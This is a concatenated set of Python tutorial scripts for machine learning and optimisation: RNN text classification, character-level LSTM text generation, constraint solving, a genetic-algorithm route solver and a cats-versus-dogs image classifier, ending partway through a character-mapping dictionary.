create_model(data["tokenizer"].word_index, units=UNITS, n_layers=N_LAYERS, cell=RNN_CELL, bidirectional=IS_BIDIRECTIONAL, embedding_size=EMBEDDING_SIZE, sequence_length=SEQUENCE_LENGTH, dropout=DROPOUT, loss=LOSS, optimizer=OPTIMIZER, output_length=data["y_train"][0].shape[0]) model.load_weights(os.path.join("results", f"{model_name}.h5")) def get_predictions(text): sequence = data["tokenizer"].texts_to_sequences([text]) # pad the sequences sequence = pad_sequences(sequence, maxlen=SEQUENCE_LENGTH) # get the prediction prediction = model.predict(sequence)[0] print("output vector:", prediction) return data["int2label"][np.argmax(prediction)] while True: text = input("Enter your text: ") prediction = get_predictions(text) print("="*50) print("The class is:", prediction) from tqdm import tqdm import numpy as np from tensorflow.keras.preprocessing.sequence import pad_sequences from tensorflow.keras.layers import Dense, Dropout, LSTM, Embedding, Bidirectional from tensorflow.keras.models import Sequential from tensorflow.keras.preprocessing.text import Tokenizer from tensorflow.keras.preprocessing.sequence import pad_sequences from tensorflow.keras.utils import to_categorical from sklearn.model_selection import train_test_split from sklearn.datasets import fetch_20newsgroups from glob import glob import random def get_embedding_vectors(word_index, embedding_size=100): embedding_matrix = np.zeros((len(word_index) + 1, embedding_size)) with open(f"data/glove.6B.{embedding_size}d.txt", encoding="utf8") as f: for line in tqdm(f, "Reading GloVe"): values = line.split() # get the word as the first word in the line word = values[0] if word in word_index: idx = word_index[word] # get the vectors as the remaining values in the line embedding_matrix[idx] = np.array(values[1:], dtype="float32") return embedding_matrix def create_model(word_index, units=128, n_layers=1, cell=LSTM, bidirectional=False, embedding_size=100, sequence_length=100, dropout=0.3, loss="categorical_crossentropy", optimizer="adam", output_length=2): """ Constructs a RNN model given its parameters """ embedding_matrix = get_embedding_vectors(word_index, embedding_size) model = Sequential() # add the embedding layer model.add(Embedding(len(word_index) + 1, embedding_size, weights=[embedding_matrix], trainable=False, input_length=sequence_length)) for i in range(n_layers): if i == n_layers - 1: # last layer if bidirectional: model.add(Bidirectional(cell(units, return_sequences=False))) else: model.add(cell(units, return_sequences=False)) else: # first layer or hidden layers if bidirectional: model.add(Bidirectional(cell(units, return_sequences=True))) else: model.add(cell(units, return_sequences=True)) model.add(Dropout(dropout)) model.add(Dense(output_length, activation="softmax")) # compile the model model.compile(optimizer=optimizer, loss=loss, metrics=["accuracy"]) return model def load_imdb_data(num_words, sequence_length, test_size=0.25, oov_token=None): # read reviews reviews = [] with open("data/reviews.txt") as f: for review in f: review = review.strip() reviews.append(review) labels = [] with open("data/labels.txt") as f: for label in f: label = label.strip() labels.append(label) # tokenize the dataset corpus, delete uncommon words such as names, etc. tokenizer = Tokenizer(num_words=num_words, oov_token=oov_token) tokenizer.fit_on_texts(reviews) X = tokenizer.texts_to_sequences(reviews) X, y = np.array(X), np.array(labels) # pad sequences with 0's X = pad_sequences(X, maxlen=sequence_length) # convert labels to one-hot encoded y = to_categorical(y) # split data to training and testing sets X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1) data = {} data["X_train"] = X_train data["X_test"]= X_test data["y_train"] = y_train data["y_test"] = y_test data["tokenizer"] = tokenizer data["int2label"] = {0: "negative", 1: "positive"} data["label2int"] = {"negative": 0, "positive": 1} return data def load_20_newsgroup_data(num_words, sequence_length, test_size=0.25, oov_token=None): # load the 20 news groups dataset # shuffling the data & removing each document's header, signature blocks and quotation blocks dataset = fetch_20newsgroups(subset="all", shuffle=True, remove=("headers", "footers", "quotes")) documents = dataset.data labels = dataset.target tokenizer = Tokenizer(num_words=num_words, oov_token=oov_token) tokenizer.fit_on_texts(documents) X = tokenizer.texts_to_sequences(documents) X, y = np.array(X), np.array(labels) # pad sequences with 0's X = pad_sequences(X, maxlen=sequence_length) # convert labels to one-hot encoded y = to_categorical(y) # split data to training and testing sets X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=test_size, random_state=1) data = {} data["X_train"] = X_train data["X_test"]= X_test data["y_train"] = y_train data["y_test"] = y_test data["tokenizer"] = tokenizer data["int2label"] = { i: label for i, label in enumerate(dataset.target_names) } data["label2int"] = { label: i for i, label in enumerate(dataset.target_names) } return data import numpy as np import pickle import tqdm from keras.models import Sequential from keras.layers import Dense, LSTM, Dropout, Activation from keras.callbacks import ModelCheckpoint message = """ Please choose which model you want to generate text with: 1 - Alice's wonderland 2 - Python Code """ choice = int(input(message)) assert choice == 1 or choice == 2 if choice == 1: char2int = pickle.load(open("data/wonderland-char2int.pickle", "rb")) int2char = pickle.load(open("data/wonderland-int2char.pickle", "rb")) elif choice == 2: char2int = pickle.load(open("data/python-char2int.pickle", "rb")) int2char = pickle.load(open("data/python-int2char.pickle", "rb")) sequence_length = 100 n_unique_chars = len(char2int) # building the model model = Sequential([ LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), Dropout(0.3), LSTM(256), Dense(n_unique_chars, activation="softmax"), ]) if choice == 1: model.load_weights("results/wonderland-v2-0.75.h5") elif choice == 2: model.load_weights("results/python-v2-0.30.h5") seed = "" print("Enter the seed, enter q to quit, maximum 100 characters:") while True: result = input("") if result.lower() == "q": break seed += f"{result}\n" seed = seed.lower() n_chars = int(input("Enter number of characters you want to generate: ")) # generate 400 characters generated = "" for i in tqdm.tqdm(range(n_chars), "Generating text"): # make the input sequence X = np.zeros((1, sequence_length, n_unique_chars)) for t, char in enumerate(seed): X[0, (sequence_length - len(seed)) + t, char2int[char]] = 1 # predict the next character predicted = model.predict(X, verbose=0)[0] # converting the vector to an integer next_index = np.argmax(predicted) # converting the integer to a character next_char = int2char[next_index] # add the character to results generated += next_char # shift seed and the predicted character seed = seed[1:] + next_char print("Generated text:") print(generated) import tensorflow as tf import numpy as np import os import pickle SEQUENCE_LENGTH = 200 FILE_PATH = "data/python_code.py" BASENAME = os.path.basename(FILE_PATH) text = open(FILE_PATH).read() n_chars = len(text) vocab = ''.join(sorted(set(text))) print("vocab:", vocab) n_unique_chars = len(vocab) print("Number of characters:", n_chars) print("Number of unique characters:", n_unique_chars) # dictionary that converts characters to integers char2int = {c: i for i, c in enumerate(vocab)} # dictionary that converts integers to characters int2char = {i: c for i, c in enumerate(vocab)} # save these dictionaries for later generation pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb")) pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb")) encoded_text = np.array([char2int[c] for c in text]) import tensorflow as tf import numpy as np import os import pickle from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, LSTM, Dropout from tensorflow.keras.callbacks import ModelCheckpoint from string import punctuation sequence_length = 100 BATCH_SIZE = 128 EPOCHS = 30 # dataset file path FILE_PATH = "data/wonderland.txt" # FILE_PATH = "data/python_code.py" BASENAME = os.path.basename(FILE_PATH) # commented because already downloaded # import requests # content = requests.get("http://www.gutenberg.org/cache/epub/11/pg11.txt").text # open("data/wonderland.txt", "w", encoding="utf-8").write(content) # read the data text = open(FILE_PATH, encoding="utf-8").read() # remove caps, comment this code if you want uppercase characters as well text = text.lower() # remove punctuation text = text.translate(str.maketrans("", "", punctuation)) # print some stats n_chars = len(text) vocab = ''.join(sorted(set(text))) print("unique_chars:", vocab) n_unique_chars = len(vocab) print("Number of characters:", n_chars) print("Number of unique characters:", n_unique_chars) # dictionary that converts characters to integers char2int = {c: i for i, c in enumerate(vocab)} # dictionary that converts integers to characters int2char = {i: c for i, c in enumerate(vocab)} # save these dictionaries for later generation pickle.dump(char2int, open(f"{BASENAME}-char2int.pickle", "wb")) pickle.dump(int2char, open(f"{BASENAME}-int2char.pickle", "wb")) # convert all text into integers encoded_text = np.array([char2int[c] for c in text]) # construct tf.data.Dataset object char_dataset = tf.data.Dataset.from_tensor_slices(encoded_text) # print first 5 characters for char in char_dataset.take(5): print(char.numpy()) # build sequences by batching sequences = char_dataset.batch(2*sequence_length + 1, drop_remainder=True) def split_sample(sample): ds = tf.data.Dataset.from_tensors((sample[:sequence_length], sample[sequence_length])) for i in range(1, (len(sample)-1) // 2): input_ = sample[i: i+sequence_length] target = sample[i+sequence_length] other_ds = tf.data.Dataset.from_tensors((input_, target)) ds = ds.concatenate(other_ds) return ds def one_hot_samples(input_, target): return tf.one_hot(input_, n_unique_chars), tf.one_hot(target, n_unique_chars) sentences = [] y_train = [] for i in range(0, len(text) - sequence_length): sentences.append(text[i: i + sequence_length]) y_train.append(text[i+sequence_length]) print("Number of sentences:", len(sentences)) # vectorization X = np.zeros((len(sentences), sequence_length, n_unique_chars)) y = np.zeros((len(sentences), n_unique_chars)) for i, sentence in enumerate(sentences): for t, char in enumerate(sentence): X[i, t, char2int[char]] = 1 y[i, char2int[y_train[i]]] = 1 print("X.shape:", X.shape) # building the model # model = Sequential([ # LSTM(128, input_shape=(sequence_length, n_unique_chars)), # Dense(n_unique_chars, activation="softmax"), # ]) # a better model (slower to train obviously) model = Sequential([ LSTM(256, input_shape=(sequence_length, n_unique_chars), return_sequences=True), Dropout(0.3), LSTM(256), Dense(n_unique_chars, activation="softmax"), ]) # model.load_weights("results/wonderland-v2-2.48.h5") model.summary() model.compile(loss="categorical_crossentropy", optimizer="adam", metrics=["accuracy"]) if not os.path.isdir("results"): os.mkdir("results") checkpoint = ModelCheckpoint("results/wonderland-v2-{loss:.2f}.h5", verbose=1) # train the model model.fit(X, y, batch_size=BATCH_SIZE, epochs=EPOCHS, callbacks=[checkpoint]) from constraint import Problem, Domain, AllDifferentConstraint import matplotlib.pyplot as plt import numpy as np def _get_pairs(variables): work = list(variables) pairs = [ (work[i], work[i+1]) for i in range(len(work)-1) ] return pairs def n_queens(n=8): def not_in_diagonal(a, b): result = True for i in range(1, n): result = result and ( a != b + i ) return result problem = Problem() variables = { f'x{i}' for i in range(n) } problem.addVariables(variables, Domain(set(range(1, n+1)))) problem.addConstraint(AllDifferentConstraint()) for pair in _get_pairs(variables): problem.addConstraint(not_in_diagonal, pair) return problem.getSolutions() def magic_square(n=3): def all_equal(*variables): square = np.reshape(variables, (n, n)) diagonal = sum(np.diagonal(square)) b = True for i in range(n): b = b and sum(square[i, :]) == diagonal b = b and sum(square[:, i]) == diagonal if b: print(square) return b problem = Problem() variables = { f'x{i}{j}' for i in range(1, n+1) for j in range(1, n+1) } problem.addVariables(variables, Domain(set(range(1, (n**2 + 2))))) problem.addConstraint(all_equal, variables) problem.addConstraint(AllDifferentConstraint()) return problem.getSolutions() def plot_queens(solutions): for solution in solutions: for row, column in solution.items(): x = int(row.lstrip('x')) y = column plt.scatter(x, y, s=70) plt.grid() plt.show() if __name__ == "__main__": # solutions = n_queens(n=12) # print(solutions) # plot_queens(solutions) solutions = magic_square(n=4) for solution in solutions: print(solution) import numpy as np import random import operator import pandas as pd import matplotlib.pyplot as plt import seaborn from matplotlib import animation from realtime_plot import realtime_plot from threading import Thread, Event from time import sleep seaborn.set_style("dark") stop_animation = Event() # def animate_cities_and_routes(): # global route # def wrapped(): # # create figure # sleep(3) # print("thread:", route) # figure = plt.figure(figsize=(14, 8)) # ax1 = figure.add_subplot(1, 1, 1) # def animate(i): # ax1.title.set_text("Real time routes") # for city in route: # ax1.scatter(city.x, city.y, s=70, c='b') # ax1.plot([ city.x for city in route ], [city.y for city in route], c='r') # animation.FuncAnimation(figure, animate, interval=100) # plt.show() # t = Thread(target=wrapped) # t.start() def plot_routes(initial_route, final_route): _, ax = plt.subplots(nrows=1, ncols=2) for col, route in zip(ax, [("Initial Route", initial_route), ("Final Route", final_route) ]): col.title.set_text(route[0]) route = route[1] for city in route: col.scatter(city.x, city.y, s=70, c='b') col.plot([ city.x for city in route ], [city.y for city in route], c='r') col.plot([route[-1].x, route[0].x], [route[-1].x, route[-1].y]) plt.show() def animate_progress(): global route global progress global stop_animation def animate(): # figure = plt.figure() # ax1 = figure.add_subplot(1, 1, 1) figure, ax1 = plt.subplots(nrows=1, ncols=2) while True: ax1[0].clear() ax1[1].clear() # current routes and cities ax1[0].title.set_text("Current routes") for city in route: ax1[0].scatter(city.x, city.y, s=70, c='b') ax1[0].plot([ city.x for city in route ], [city.y for city in route], c='r') ax1[0].plot([route[-1].x, route[0].x], [route[-1].y, route[0].y], c='r') # current distance graph ax1[1].title.set_text("Current distance") ax1[1].plot(progress) ax1[1].set_ylabel("Distance") ax1[1].set_xlabel("Generation") plt.pause(0.05) if stop_animation.is_set(): break plt.show() Thread(target=animate).start() class City: def __init__(self, x, y): self.x = x self.y = y def distance(self, city): """Returns distance between self city and city""" x = abs(self.x - city.x) y = abs(self.y - city.y) return np.sqrt(x ** 2 + y ** 2) def __sub__(self, city): return self.distance(city) def __repr__(self): return f"({self.x}, {self.y})" def __str__(self): return self.__repr__() class Fitness: def __init__(self, route): self.route = route def distance(self): distance = 0 for i in range(len(self.route)): from_city = self.route[i] to_city = self.route[i+1] if i+i < len(self.route) else self.route[0] distance += (from_city - to_city) return distance def fitness(self): return 1 / self.distance() def generate_cities(size): cities = [] for i in range(size): x = random.randint(0, 200) y = random.randint(0, 200) if 40 < x < 160: if 0.5 <= random.random(): y = random.randint(0, 40) else: y = random.randint(160, 200) elif 40 < y < 160: if 0.5 <= random.random(): x = random.randint(0, 40) else: x = random.randint(160, 200) cities.append(City(x, y)) return cities # return [ City(x=random.randint(0, 200), y=random.randint(0, 200)) for i in range(size) ] def create_route(cities): return random.sample(cities, len(cities)) def initial_population(popsize, cities): return [ create_route(cities) for i in range(popsize) ] def sort_routes(population): """This function calculates the fitness of each route in population And returns a population sorted by its fitness in descending order""" result = [ (i, Fitness(route).fitness()) for i, route in enumerate(population) ] return sorted(result, key=operator.itemgetter(1), reverse=True) def selection(population, elite_size): sorted_pop = sort_routes(population) df = pd.DataFrame(np.array(sorted_pop), columns=["Index", "Fitness"]) # calculates the cumulative sum # example: # [5, 6, 7] => [5, 11, 18] df['cum_sum'] = df['Fitness'].cumsum() # calculates the cumulative percentage # example: # [5, 6, 7] => [5/18, 11/18, 18/18] # [5, 6, 7] => [27.77%, 61.11%, 100%] df['cum_perc'] = 100 * df['cum_sum'] / df['Fitness'].sum() result = [ sorted_pop[i][0] for i in range(elite_size) ] for i in range(len(sorted_pop) - elite_size): pick = random.random() * 100 for i in range(len(sorted_pop)): if pick <= df['cum_perc'][i]: result.append(sorted_pop[i][0]) break return [ population[index] for index in result ] def breed(parent1, parent2): child1, child2 = [], [] gene_A = random.randint(0, len(parent1)) gene_B = random.randint(0, len(parent2)) start_gene = min(gene_A, gene_B) end_gene = max(gene_A, gene_B) for i in range(start_gene, end_gene): child1.append(parent1[i]) child2 = [ item for item in parent2 if item not in child1 ] return child1 + child2 def breed_population(selection, elite_size): pool = random.sample(selection, len(selection)) # for i in range(elite_size): # children.append(selection[i]) children = [selection[i] for i in range(elite_size)] children.extend([breed(pool[i], pool[len(selection)-i-1]) for i in range(len(selection) - elite_size)]) # for i in range(len(selection) - elite_size): # child = breed(pool[i], pool[len(selection)-i-1]) # children.append(child) return children def mutate(route, mutation_rate): route_length = len(route) for swapped in range(route_length): if(random.random() < mutation_rate): swap_with = random.randint(0, route_length-1) route[swapped], route[swap_with] = route[swap_with], route[swapped] return route def mutate_population(population, mutation_rate): return [ mutate(route, mutation_rate) for route in population ] def next_gen(current_gen, elite_size, mutation_rate): select = selection(population=current_gen, elite_size=elite_size) children = breed_population(selection=select, elite_size=elite_size) return mutate_population(children, mutation_rate) def genetic_algorithm(cities, popsize, elite_size, mutation_rate, generations, plot=True, prn=True): global route global progress population = initial_population(popsize=popsize, cities=cities) if plot: animate_progress() sorted_pop = sort_routes(population) initial_route = population[sorted_pop[0][0]] distance = 1 / sorted_pop[0][1] if prn: print(f"Initial distance: {distance}") try: if plot: progress = [ distance ] for i in range(generations): population = next_gen(population, elite_size, mutation_rate) sorted_pop = sort_routes(population) distance = 1 / sorted_pop[0][1] progress.append(distance) if prn: print(f"[Generation:{i}] Current distance: {distance}") route = population[sorted_pop[0][0]] else: for i in range(generations): population = next_gen(population, elite_size, mutation_rate) distance = 1 / sort_routes(population)[0][1] if prn: print(f"[Generation:{i}] Current distance: {distance}") except KeyboardInterrupt: pass stop_animation.set() final_route_index = sort_routes(population)[0][0] final_route = population[final_route_index] if prn: print("Final route:", final_route) return initial_route, final_route, distance if __name__ == "__main__": cities = generate_cities(25) initial_route, final_route, distance = genetic_algorithm(cities=cities, popsize=120, elite_size=19, mutation_rate=0.0019, generations=1800) # plot_routes(initial_route, final_route) import numpy import matplotlib.pyplot as plt import cv2 from PIL import Image from multiprocessing import Process def fig2img ( fig ): """ brief Convert a Matplotlib figure to a PIL Image in RGBA format and return it param fig a matplotlib figure return a Python Imaging Library ( PIL ) image """ # put the figure pixmap into a numpy array buf = fig2data ( fig ) w, h, d = buf.shape return Image.frombytes( "RGB", ( w ,h ), buf.tostring( ) ) def fig2data ( fig ): """ brief Convert a Matplotlib figure to a 4D numpy array with RGBA channels and return it param fig a matplotlib figure return a numpy 3D array of RGBA values """ # draw the renderer fig.canvas.draw ( ) # Get the RGBA buffer from the figure w,h = fig.canvas.get_width_height() buf = numpy.fromstring ( fig.canvas.tostring_rgb(), dtype=numpy.uint8 ) buf.shape = ( w, h,3 ) # canvas.tostring_argb give pixmap in ARGB mode. Roll the ALPHA channel to have it in RGBA mode buf = numpy.roll ( buf, 3, axis = 2 ) return buf if __name__ == "__main__": pass # figure = plt.figure() # plt.plot([3, 5, 9], [3, 19, 23]) # img = fig2img(figure) # img.show() # while True: # frame = numpy.array(img) # # Convert RGB to BGR # frame = frame[:, :, ::-1].copy() # print(frame) # cv2.imshow("test", frame) # if cv2.waitKey(0) == ord('q'): # break # cv2.destroyAllWindows() def realtime_plot(route): figure = plt.figure(figsize=(14, 8)) plt.title("Real time routes") for city in route: plt.scatter(city.x, city.y, s=70, c='b') plt.plot([ city.x for city in route ], [city.y for city in route], c='r') img = numpy.array(fig2img(figure)) cv2.imshow("test", img) if cv2.waitKey(1) == ord('q'): cv2.destroyAllWindows() plt.close(figure) from genetic import genetic_algorithm, generate_cities, City import operator def load_cities(): return [ City(city[0], city[1]) for city in [(169, 20), (103, 24), (41, 9), (177, 76), (138, 173), (163, 108), (93, 34), (200, 84), (19, 184), (117, 176), (153, 30), (140, 29), (38, 108), (89, 183), (18, 4), (174, 38), (109, 169), (93, 23), (156, 10), (171, 27), (164, 91), (109, 194), (90, 169), (115, 37), (177, 93), (169, 20)] ] def train(): cities = load_cities() generations = 1000 popsizes = [60, 100, 140, 180] elitesizes = [5, 15, 25, 35, 45] mutation_rates = [0.0001, 0.0005, 0.001, 0.005, 0.01] total_iterations = len(popsizes) * len(elitesizes) * len(mutation_rates) iteration = 0 tries = {} for popsize in popsizes: for elite_size in elitesizes: for mutation_rate in mutation_rates: iteration += 1 init_route, final_route, distance = genetic_algorithm( cities=cities, popsize=popsize, elite_size=elite_size, mutation_rate=mutation_rate, generations=generations, plot=False, prn=False) progress = iteration / total_iterations percentage = progress * 100 print(f"[{percentage:5.2f}%] [Iteration:{iteration:3}/{total_iterations:3}] [popsize={popsize:3} elite_size={elite_size:2} mutation_rate={mutation_rate:7}] Distance: {distance:4}") tries[(popsize, elite_size, mutation_rate)] = distance min_gen = min(tries.values()) reversed_tries = { v:k for k, v in tries.items() } best_combination = reversed_tries[min_gen] print("Best combination:", best_combination) if __name__ == "__main__": train() # best parameters # popsize elitesize mutation_rateqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqqq # 90 25 0.0001 # 110 10 0.001 # 130 10 0.005 # 130 20 0.001 # 150 25 0.001 import os def load_data(path): """ Load dataset """ input_file = os.path.join(path) with open(input_file, "r") as f: data = f.read() return data.split('\n') import numpy as np from keras.losses import sparse_categorical_crossentropy from keras.models import Sequential from keras.preprocessing.text import Tokenizer from keras.utils import to_categorical def _test_model(model, input_shape, output_sequence_length, french_vocab_size): if isinstance(model, Sequential): model = model.model assert model.input_shape == (None, *input_shape[1:]),\ 'Wrong input shape. Found input shape {} using parameter input_shape={}'.format(model.input_shape, input_shape) assert model.output_shape == (None, output_sequence_length, french_vocab_size),\ 'Wrong output shape. Found output shape {} using parameters output_sequence_length={} and french_vocab_size={}'\ .format(model.output_shape, output_sequence_length, french_vocab_size) assert len(model.loss_functions) > 0,\ 'No loss function set. Apply the compile function to the model.' assert sparse_categorical_crossentropy in model.loss_functions,\ 'Not using sparse_categorical_crossentropy function for loss.' def test_tokenize(tokenize): sentences = [ 'The quick brown fox jumps over the lazy dog .', 'By Jove , my quick study of lexicography won a prize .', 'This is a short sentence .'] tokenized_sentences, tokenizer = tokenize(sentences) assert tokenized_sentences == tokenizer.texts_to_sequences(sentences),\ 'Tokenizer returned and doesn\'t generate the same sentences as the tokenized sentences returned. ' def test_pad(pad): tokens = [ [i for i in range(4)], [i for i in range(6)], [i for i in range(3)]] padded_tokens = pad(tokens) padding_id = padded_tokens[0][-1] true_padded_tokens = np.array([ [i for i in range(4)] + [padding_id]*2, [i for i in range(6)], [i for i in range(3)] + [padding_id]*3]) assert isinstance(padded_tokens, np.ndarray),\ 'Pad returned the wrong type. Found {} type, expected numpy array type.' assert np.all(padded_tokens == true_padded_tokens), 'Pad returned the wrong results.' padded_tokens_using_length = pad(tokens, 9) assert np.all(padded_tokens_using_length == np.concatenate((true_padded_tokens, np.full((3, 3), padding_id)), axis=1)),\ 'Using length argument return incorrect results' def test_simple_model(simple_model): input_shape = (137861, 21, 1) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = simple_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_embed_model(embed_model): input_shape = (137861, 21) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = embed_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_encdec_model(encdec_model): input_shape = (137861, 15, 1) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = encdec_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_bd_model(bd_model): input_shape = (137861, 21, 1) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = bd_model(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) def test_model_final(model_final): input_shape = (137861, 15) output_sequence_length = 21 english_vocab_size = 199 french_vocab_size = 344 model = model_final(input_shape, output_sequence_length, english_vocab_size, french_vocab_size) _test_model(model, input_shape, output_sequence_length, french_vocab_size) CATEGORIES = ["Dog", "Cat"] IMG_SIZE = 100 DATADIR = r"C:\Users\STRIX\Desktop\CatnDog\PetImages" TRAINING_DIR = r"E:\datasets\CatnDog\Training" TESTING_DIR = r"E:\datasets\CatnDog\Testing" import cv2 import tensorflow as tf import os import numpy as np import random from settings import * from tqdm import tqdm # CAT_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Cat" # DOG_PATH = r"C:\Users\STRIX\Desktop\CatnDog\Testing\Dog" MODEL = "Cats-vs-dogs-new-6-0.90-CNN" def prepare_image(path): image = cv2.imread(path, cv2.IMREAD_GRAYSCALE) image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) return image # img = cv2.imread(path, cv2.IMREAD_GRAYSCALE) # img = cv2.resize(img, (IMG_SIZE, IMG_SIZE)) # return img.reshape(-1, IMG_SIZE, IMG_SIZE, 1) def load_model(): return tf.keras.models.load_model(f"{MODEL}.model") def predict(img): prediction = model.predict([prepare_image(img)])[0][0] return int(prediction) if __name__ == "__main__": model = load_model() x_test, y_test = [], [] for code, category in enumerate(CATEGORIES): path = os.path.join(TESTING_DIR, category) for img in tqdm(os.listdir(path), "Loading images:"): # result = predict(os.path.join(path, img)) # if result == code: # correct += 1 # total += 1 # testing_data.append((os.path.join(path, img), code)) x_test.append(prepare_image(os.path.join(path, img))) y_test.append(code) x_test = np.array(x_test).reshape(-1, IMG_SIZE, IMG_SIZE, 1) # random.shuffle(testing_data) # total = 0 # correct = 0 # for img, code in testing_data: # result = predict(img) # if result == code: # correct += 1 # total += 1 # accuracy = (correct/total) * 100 # print(f"{correct}/{total} Total Accuracy: {accuracy:.2f}%") # print(x_test) # print("="*50) # print(y_test) print(model.evaluate([x_test], y_test)) print(model.metrics_names) import numpy as np import matplotlib.pyplot as plt import cv2 import os # import cv2 from tqdm import tqdm import random from settings import * # for the first time only # for category in CATEGORIES: # directory = os.path.join(TRAINING_DIR, category) # os.makedirs(directory) # # for the first time only # for category in CATEGORIES: # directory = os.path.join(TESTING_DIR, category) # os.makedirs(directory) # Total images for each category: 12501 image (total 25002) # def create_data(): # for code, category in enumerate(CATEGORIES): # path = os.path.join(DATADIR, category) # for counter, img in enumerate(tqdm(os.listdir(path)), start=1): # try: # # absolute path of image # image = os.path.join(path, img) # image = cv2.imread(image, cv2.IMREAD_GRAYSCALE) # image = cv2.resize(image, (IMG_SIZE, IMG_SIZE)) # if counter < 300: # # testing image # img = os.path.join(TESTING_DIR, category, img) # else: # # training image # img = os.path.join(TRAINING_DIR, category, img) # cv2.imwrite(img, image) # except: # pass def load_data(path): data = [] for code, category in enumerate(CATEGORIES): p = os.path.join(path, category) for img in tqdm(os.listdir(p), desc=f"Loading {category} data: "): img = os.path.join(p, img) img = cv2.imread(img, cv2.IMREAD_GRAYSCALE) data.append((img, code)) return data def load_training_data(): return load_data(TRAINING_DIR) def load_testing_data(): return load_data(TESTING_DIR) # # load data # training_data = load_training_data() # # # shuffle data # random.shuffle(training_data) # X, y = [], [] # for features, label in tqdm(training_data, desc="Splitting the data: "): # X.append(features) # y.append(label) # X = np.array(X).reshape(-1, IMG_SIZE, IMG_SIZE, 1) # # pickling (images,labels) # print("Pickling data...") import pickle # with open("X.pickle", 'wb') as pickle_out: # pickle.dump(X, pickle_out) # with open("y.pickle", 'wb') as pickle_out: # pickle.dump(y, pickle_out) def load(): return np.array(pickle.load(open("X.pickle", 'rb'))), pickle.load(open("y.pickle", 'rb')) print("Loading data...") X, y = load() X = X/255 # to make colors from 0 to 1 print("Shape of X:", X.shape) import tensorflow from tensorflow.keras.datasets import cifar10 from tensorflow.keras.preprocessing.image import ImageDataGenerator from tensorflow.keras.callbacks import ModelCheckpoint from tensorflow.keras.models import Sequential from tensorflow.keras.layers import Dense, Dropout, Activation, Flatten from tensorflow.keras.layers import Conv2D, MaxPooling2D # from tensorflow.keras.callbacks import TensorBoard print("Imported tensorflow, building model...") NAME = "Cats-vs-dogs-new-9-{val_acc:.2f}-CNN" checkpoint = ModelCheckpoint(filepath=f"{NAME}.model", save_best_only=True, verbose=1) # 3 conv, 64 nodes per layer, 0 dense model = Sequential() model.add(Conv2D(32, (2, 2), input_shape=X.shape[1:])) model.add(Activation('relu')) model.add(Conv2D(32, (2, 2))) model.add(Dropout(0.1)) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(64, (2, 2))) model.add(Activation('relu')) model.add(Conv2D(64, (2, 2))) model.add(Dropout(0.1)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(96, (2, 2))) model.add(Activation('relu')) model.add(Conv2D(96, (2, 2))) model.add(Dropout(0.1)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Conv2D(128, (2, 2))) model.add(Activation('relu')) model.add(Conv2D(128, (2, 2))) model.add(Dropout(0.1)) model.add(Activation('relu')) model.add(MaxPooling2D(pool_size=(2, 2))) model.add(Dense(500, activation="relu")) model.add(Flatten()) # this converts our 3D feature maps to 1D feature vectors model.add(Dense(1)) model.add(Activation('sigmoid')) model.summary() print("Compiling model ...") # tensorboard = TensorBoard(log_dir=f"logs/{NAME}") model.compile(loss="binary_crossentropy", optimizer="rmsprop", metrics=['accuracy']) print("Training...") model.fit(X, y, batch_size=64, epochs=30, validation_split=0.2, callbacks=[checkpoint]) ### Hyper Parameters ### batch_size = 256 # Sequences per batch num_steps = 70 # Number of sequence steps per batch lstm_size = 256 # Size of hidden layers in LSTMs num_layers = 2 # Number of LSTM layers learning_rate = 0.003 # Learning rate keep_prob = 0.3 # Dropout keep probability epochs = 20 # Print losses every N interations print_every_n = 100 # Save every N iterations save_every_n = 500 NUM_THREADS = 12 # to use CPU import os os.environ["CUDA_DEVICE_ORDER"] = "PCI_BUS_ID" # see issue #152 os.environ["CUDA_VISIBLE_DEVICES"] = "-1" import tensorflow as tf config = tf.ConfigProto(intra_op_parallelism_threads=1, inter_op_parallelism_threads=1, allow_soft_placement=True, device_count = {'CPU' : 1, 'GPU' : 0} ) import train_chars import numpy as np import keyboard char2int_target = {'\t': 0, '\n': 1, '\x0c': 2, ' ': 3, '!': 4, '"': 5, '#': 6, '': 7, '%': 8, '&': 9, "'": 10, '(': 11, ')': 12, '*': 13, '+': 14, ',': 15, '-': 16, '.': 17, '/': 18, '0': 19, '1': 20, '2': 21, '3': 22, '4': 23, '5': 24, '6': 25, '7': 26, '8': 27, '9': 28, ':': 29, '': 30, '<': 31, '=': 32, '>': 33, '?': 34, '': 35, 'A': 36, 'B': 37, 'C': 38, 'D': 39, 'E': 40, 'F': 41, 'G': 42, 'H': 43, 'I': 44, 'J': 45, 'K': 46, 'L': 47, 'M': 48, 'N': 49, 'O': 50, 'P': 51, 'Q': 52, 'R': 53, 'S': 54, 'T': 55, 'U': 56, 'V': 57, 'W': 58, 'X': 59, 'Y': 60, 'Z': 61, '[': 62, '\\': 63, ']': 64, '^': 65, '_': 66, '': 67, 'a': 68, 'b': 69, 'c': 70, 'd': 71, 'e': 72, 'f': 73, 'g': 74, 'h': 75, 'i': 76, 'j': 77, 'k': 78, 'l': 79, 'm': 80, 'n': 81, 'o': 82, 'p': 83, 'q': 84, 'r': 85, 's': 86, 't': 87, 'u': 88, 